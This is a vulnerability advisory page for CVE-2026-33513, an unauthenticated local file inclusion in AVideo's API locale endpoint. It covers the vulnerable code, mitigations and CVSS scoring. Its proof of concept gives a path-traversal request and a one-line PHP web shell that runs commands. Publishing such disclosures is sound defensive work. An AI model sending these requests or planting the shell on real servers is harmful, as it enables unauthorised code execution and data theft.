Loading...
Skip to main content

CVE-2026-33513

HIGH

AVideo has an Unauthenticated Local File Inclusion in API locale (RCE possible with writable PHP)

Published March 20, 2026Updated March 25, 2026Source: osv

Summary

### Summary An unauthenticated API endpoint (`APIName=locale`) concatenates user input into an `include` path with no canonicalization or whitelist. Path traversal is accepted, so arbitrary PHP files under the web root can be included. In our test this yielded confirmed file disclosure and code execution of existing PHP content (e.g., `view/about.php`), and it *can* escalate to RCE if an attacker can place or control a PHP file elsewhere in the tree. ### Details - Entry point: `plugin/API/get.json.php` sets `$global['bypassSameDomainCheck']=1` and merges GET/POST/JSON into `$parameters` without authentication or API secret. - Handler: `plugin/API/API.php`, method `get_api_locale()` (lines ~5009–5023): ```php $parameters['language'] = strtolower($parameters['language']); $file = "{$global['systemRootPath']}locale/{$parameters['language']}.php"; if (!file_exists($file)) { return new ApiObject("This language does not exists"); } include $file; ``` No validation is performed; `../` traversal is accepted. - Because `include` executes PHP, any reachable PHP file is executed in the web server context. ### PoC 1. Fetch an arbitrary PHP file (no auth): ``` GET /plugin/API/get.json.php?APIName=locale&language=../view/about HTTP/1.1 Host: <target> ``` Response returns the rendered About page HTML, proving traversal outside `locale/`. 2. RCE with an attacker PHP file (any writable PHP path): ``` GET /plugin/API/get.json.php?APIName=locale&language=../videos/locale/shell&x=whoami ``` If `shell.php` contains `<?php system($_GET['x']); ?>`, the response includes command output. ### Impact - Unauthenticated file inclusion of arbitrary PHP files under the web root. - Confidential data leakage (e.g., configuration, secrets) via included PHP that renders output. - Potential RCE *if* any attacker-writable PHP file exists elsewhere (not confirmed in this build). - Affects any deployment with the API plugin enabled (default in docker-compose). ### Mitigation - Reject path separators/dots and enforce a strict allowlist of locale slugs. - `realpath` the target and ensure it stays within `$systemRootPath/locale`. - Stop using `include` for translations; load data from vetted formats (JSON/array). - Add authentication (API secret/token) to the endpoint as a secondary control.

Affected Packages (1)

PackageEcosystemAffectedFixed In
wwbn/avideo
packagist
10.4, 10.8, 11, 11.1 (+13 more)Range-based data available

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.6 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
Low

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L

Frequently Asked Questions

What is CVE-2026-33513?
AVideo has an Unauthenticated Local File Inclusion in API locale (RCE possible with writable PHP) This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.6/10).
How do I check if my project is affected by CVE-2026-33513?
CVE-2026-33513 affects wwbn/avideo. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-33513 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.6

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-8fw8-q79c-fp9m

Related CVEs

  • CVE-2023-25313
    CRITICAL

    AVideo contains Command injection when embedding a video link

  • CVE-2026-28501
    CRITICAL

    AVideo has Unauthenticated SQL Injection via JSON Request Bypass in objects/videos.json.php

  • CVE-2026-28502
    CRITICAL

    AVideo has Authenticated Remote Code Execution via Unsafe Plugin ZIP Extraction

  • CVE-2023-49599
    CRITICAL

    WWBN AVideo Insufficient Entropy vulnerbaility

  • CVE-2026-33480
    HIGH

    AVideo has a SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses in Unauthenticated LiveLinks Proxy

  • CVE-2026-41064
    HIGH

    WWBN AVideo has an incomplete fix for CVE-2026-33502: Command Injection

  • CVE-2026-33719
    HIGH

    AVideo: Unauthenticated CDN Configuration Takeover via Empty Default Key Bypass and Mass-Assignment

  • CVE-2026-40925
    HIGH

    WWBN AVideo has CSRF in configurationUpdate.json.php Enables Full Site Configuration Takeover Including Encoder URL and SMTP Credentials

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies